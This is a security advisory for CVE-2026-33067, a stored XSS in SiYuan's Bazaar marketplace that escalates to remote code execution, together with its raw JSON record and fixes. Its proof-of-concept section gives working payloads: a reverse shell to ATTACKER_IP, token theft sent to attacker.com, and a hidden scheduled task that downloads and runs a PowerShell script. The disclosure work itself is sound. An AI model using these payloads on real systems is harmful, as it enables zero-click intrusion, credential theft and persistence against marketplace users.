GHSA-MVPM-V6Q4-M2PF
Vulnerability from github – Published: 2026-03-18 16:09 – Updated: 2026-03-20 21:23Stored XSS to RCE via Unsanitized Bazaar Package Metadata
Summary
SiYuan's Bazaar (community marketplace) renders package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.
Affected Component
- Metadata rendering:
app/src/config/bazaar.ts:275-277 - Electron config:
app/electron/main.js:422-426(nodeIntegration: true,contextIsolation: false)
Affected Versions
- SiYuan <= 3.5.9
Severity
Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Vulnerable Code
In app/src/config/bazaar.ts:275-277, package metadata is injected directly into HTML templates without escaping:
// Package name injected directly — NO escaping
${item.preferredName}${item.preferredName !== item.name
? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}
// Package description — title attribute uses escapeAttr(), but text content does NOT
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
${item.preferredDesc || ""} <!-- UNESCAPED HTML -->
</div>
The inconsistency is notable: the title attribute is escaped via escapeAttr(), but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.
The Electron renderer at app/electron/main.js:422-426 is configured with:
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
// ...
}
This means any JavaScript executing in the renderer process has direct access to Node.js APIs including require('child_process'), require('fs'), and require('os').
Proof of Concept
Step 1: Create a malicious plugin manifest
Create a GitHub repository with a valid SiYuan plugin structure. In plugin.json:
{
"name": "helpful-productivity-plugin",
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
},
"description": {
"default": "Boost your productivity with smart templates"
},
"version": "1.0.0",
"author": "attacker",
"url": "https://github.com/attacker/helpful-productivity-plugin",
"minAppVersion": "2.0.0"
}
Step 2: Submit to Bazaar
Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).
Step 3: Zero-click RCE
When any SiYuan desktop user navigates to Settings > Bazaar > Plugins, the package listing renders the malicious displayName. The <img src=x> tag fails to load, firing the onerror handler, which calls require('child_process').exec('calc.exe').
No click is required. The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.
Escalation: Reverse shell
{
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"')\">"
}
}
Escalation: Data exfiltration (API token theft)
{
"displayName": {
"default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
}
}
Escalation: Silent persistence (Windows)
{
"displayName": {
"default": "<img src=x onerror=\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">"
}
}
Attack Scenario
- Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
- Attacker submits it to the SiYuan Bazaar via the standard community contribution process.
- The
plugin.jsonmanifest contains an XSS payload in thedisplayNameordescriptionfield. - When any SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.
- The injected
<img onerror>(or<svg onload>,<details ontoggle>, etc.) fires automatically. - JavaScript executes in the Electron renderer with full Node.js access (
nodeIntegration: true). - The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc.
The user does not need to install, click, or interact with the malicious package in any way. Browsing the marketplace is sufficient.
Impact
- Full remote code execution on any SiYuan desktop user who browses the Bazaar
- Zero-click — payload fires on page load, no interaction required
- Supply-chain attack — targets the entire SiYuan user community via the official marketplace
- Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files
- Can install persistent backdoors, scheduled tasks, or ransomware
- Affects all platforms: Windows, macOS, Linux
Suggested Fix
1. Escape all package metadata in template rendering (bazaar.ts)
function escapeHtml(str: string): string {
return str.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"')
.replace(/'/g, ''');
}
// Apply to ALL user-controlled metadata before rendering
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>
2. Server-side sanitization in the Bazaar index pipeline
Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil {
return
}
for k, v := range pkg.DisplayName {
pkg.DisplayName[k] = html.EscapeString(v)
}
for k, v := range pkg.Description {
pkg.Description[k] = html.EscapeString(v)
}
}
3. Long-term: Harden Electron configuration
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260317012524-fe4523fff2c8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33067"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T16:09:34Z",
"nvd_published_at": "2026-03-20T09:16:14Z",
"severity": "MODERATE"
},
"details": "# Stored XSS to RCE via Unsanitized Bazaar Package Metadata\n\n## Summary\n\nSiYuan\u0027s Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan\u0027s Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim\u0027s operating system \u2014 with zero user interaction beyond opening the marketplace tab.\n\n## Affected Component\n\n- **Metadata rendering**: `app/src/config/bazaar.ts:275-277`\n- **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)\n\n## Affected Versions\n\n- SiYuan \u003c= 3.5.9\n\n## Severity\n\n**Critical** \u2014 CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)\n\n## Vulnerable Code\n\nIn `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping:\n\n```typescript\n// Package name injected directly \u2014 NO escaping\n${item.preferredName}${item.preferredName !== item.name\n ? ` \u003cspan class=\"ft__on-surface ft__smaller\"\u003e${item.name}\u003c/span\u003e` : \"\"}\n\n// Package description \u2014 title attribute uses escapeAttr(), but text content does NOT\n\u003cdiv class=\"b3-card__desc\" title=\"${escapeAttr(item.preferredDesc) || \"\"}\"\u003e\n ${item.preferredDesc || \"\"} \u003c!-- UNESCAPED HTML --\u003e\n\u003c/div\u003e\n```\n\nThe inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not \u2014 indicating the risk was partially recognized but incompletely mitigated.\n\nThe Electron renderer at `app/electron/main.js:422-426` is configured with:\n\n```javascript\nwebPreferences: {\n nodeIntegration: true,\n contextIsolation: false,\n // ...\n}\n```\n\nThis means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require(\u0027child_process\u0027)`, `require(\u0027fs\u0027)`, and `require(\u0027os\u0027)`.\n\n## Proof of Concept\n\n### Step 1: Create a malicious plugin manifest\n\nCreate a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`:\n\n```json\n{\n \"name\": \"helpful-productivity-plugin\",\n \"displayName\": {\n \"default\": \"Helpful Plugin\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027calc.exe\u0027)\\\"\u003e\"\n },\n \"description\": {\n \"default\": \"Boost your productivity with smart templates\"\n },\n \"version\": \"1.0.0\",\n \"author\": \"attacker\",\n \"url\": \"https://github.com/attacker/helpful-productivity-plugin\",\n \"minAppVersion\": \"2.0.0\"\n}\n```\n\n### Step 2: Submit to Bazaar\n\nSubmit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).\n\n### Step 3: Zero-click RCE\n\nWhen **any** SiYuan desktop user navigates to **Settings \u003e Bazaar \u003e Plugins**, the package listing renders the malicious `displayName`. The `\u003cimg src=x\u003e` tag fails to load, firing the `onerror` handler, which calls `require(\u0027child_process\u0027).exec(\u0027calc.exe\u0027)`.\n\n**No click is required.** The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.\n\n### Escalation: Reverse shell\n\n```json\n{\n \"displayName\": {\n \"default\": \"Helpful Plugin\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027bash -c \\\\\\\"bash -i \u003e\u0026 /dev/tcp/ATTACKER_IP/4444 0\u003e\u00261\\\\\\\"\u0027)\\\"\u003e\"\n }\n}\n```\n\n### Escalation: Data exfiltration (API token theft)\n\n```json\n{\n \"displayName\": {\n \"default\": \"\u003cimg src=x onerror=\\\"fetch(\u0027https://attacker.com/exfil?token=\u0027+require(\u0027fs\u0027).readFileSync(require(\u0027path\u0027).join(require(\u0027os\u0027).homedir(),\u0027.config/siyuan/cookie.key\u0027),\u0027utf8\u0027))\\\"\u003e\"\n }\n}\n```\n\n### Escalation: Silent persistence (Windows)\n\n```json\n{\n \"displayName\": {\n \"default\": \"\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(\u0027schtasks /create /tn SiYuanUpdate /tr \\\\\\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\\\\\\\\\"https://attacker.com/payload.ps1\\\\\\\\\\\\\\\")\\\\\\\" /sc onlogon /rl highest /f\u0027)\\\"\u003e\"\n }\n}\n```\n\n## Attack Scenario\n\n1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.\n2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process.\n3. The `plugin.json` manifest contains an XSS payload in the `displayName` or `description` field.\n4. When **any** SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.\n5. The injected `\u003cimg onerror\u003e` (or `\u003csvg onload\u003e`, `\u003cdetails ontoggle\u003e`, etc.) fires automatically.\n6. JavaScript executes in the Electron renderer with full Node.js access (`nodeIntegration: true`).\n7. The attacker achieves arbitrary OS command execution \u2014 reverse shell, data exfiltration, persistence, ransomware, etc.\n\n**The user does not need to install, click, or interact with the malicious package in any way.** Browsing the marketplace is sufficient.\n\n## Impact\n\n- **Full remote code execution** on any SiYuan desktop user who browses the Bazaar\n- **Zero-click** \u2014 payload fires on page load, no interaction required\n- **Supply-chain attack** \u2014 targets the entire SiYuan user community via the official marketplace\n- Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files\n- Can install persistent backdoors, scheduled tasks, or ransomware\n- Affects all platforms: Windows, macOS, Linux\n\n## Suggested Fix\n\n### 1. Escape all package metadata in template rendering (`bazaar.ts`)\n\n```typescript\nfunction escapeHtml(str: string): string {\n return str.replace(/\u0026/g, \u0027\u0026amp;\u0027).replace(/\u003c/g, \u0027\u0026lt;\u0027)\n .replace(/\u003e/g, \u0027\u0026gt;\u0027).replace(/\"/g, \u0027\u0026quot;\u0027)\n .replace(/\u0027/g, \u0027\u0026#039;\u0027);\n}\n\n// Apply to ALL user-controlled metadata before rendering\n${escapeHtml(item.preferredName)}\n\u003cdiv class=\"b3-card__desc\"\u003e${escapeHtml(item.preferredDesc || \"\")}\u003c/div\u003e\n```\n\n### 2. Server-side sanitization in the Bazaar index pipeline\n\nSanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:\n\n```go\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n if pkg == nil {\n return\n }\n for k, v := range pkg.DisplayName {\n pkg.DisplayName[k] = html.EscapeString(v)\n }\n for k, v := range pkg.Description {\n pkg.Description[k] = html.EscapeString(v)\n }\n}\n```\n\n### 3. Long-term: Harden Electron configuration\n\n```javascript\nwebPreferences: {\n nodeIntegration: false,\n contextIsolation: true,\n sandbox: true,\n}\n```",
"id": "GHSA-mvpm-v6q4-m2pf",
"modified": "2026-03-20T21:23:43Z",
"published": "2026-03-18T16:09:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvpm-v6q4-m2pf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33067"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.